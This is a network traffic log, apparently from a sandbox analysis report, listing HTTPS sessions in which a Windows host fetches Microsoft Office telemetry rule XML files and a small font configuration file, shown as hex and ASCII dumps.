2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-17 11:35:21 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49734	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:22 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 11:35:22 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=18594 Date: Sun, 17 Nov 2024 11:35:22 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49738	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-1866b5c5fbbfkdfghC1DFW4sv400000003d0000000002qn8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 05f35093-901e-0016-5b99-38efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-1866b5c5fbbqmbqjhC1DFWwgvc00000003w0000000000yq7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49735	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 31be6f69-e01e-00aa-387f-37ceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-1866b5c5fbbkcpv2hC1DFWf1yc00000004dg000000000kw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.5	49737	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: ec16a966-001e-0014-49c6-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-16547b76f7ftnm6xhC1DFW9c8c00000003sg00000000axsh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49739	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:23 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 93eb20e0-b01e-0021-689b-37cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113523Z-164f84587bf9nk94hC1DFWerbg000000037000000000875t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:23 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49740	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-17 11:35:23 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=18573 Date: Sun, 17 Nov 2024 11:35:23 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-17 11:35:23 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	49741	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:23 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:24 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: fc33b24f-c01e-00a2-3209-372327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113524Z-1866b5c5fbbxjblthC1DFW6b48000000023000000000bh6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
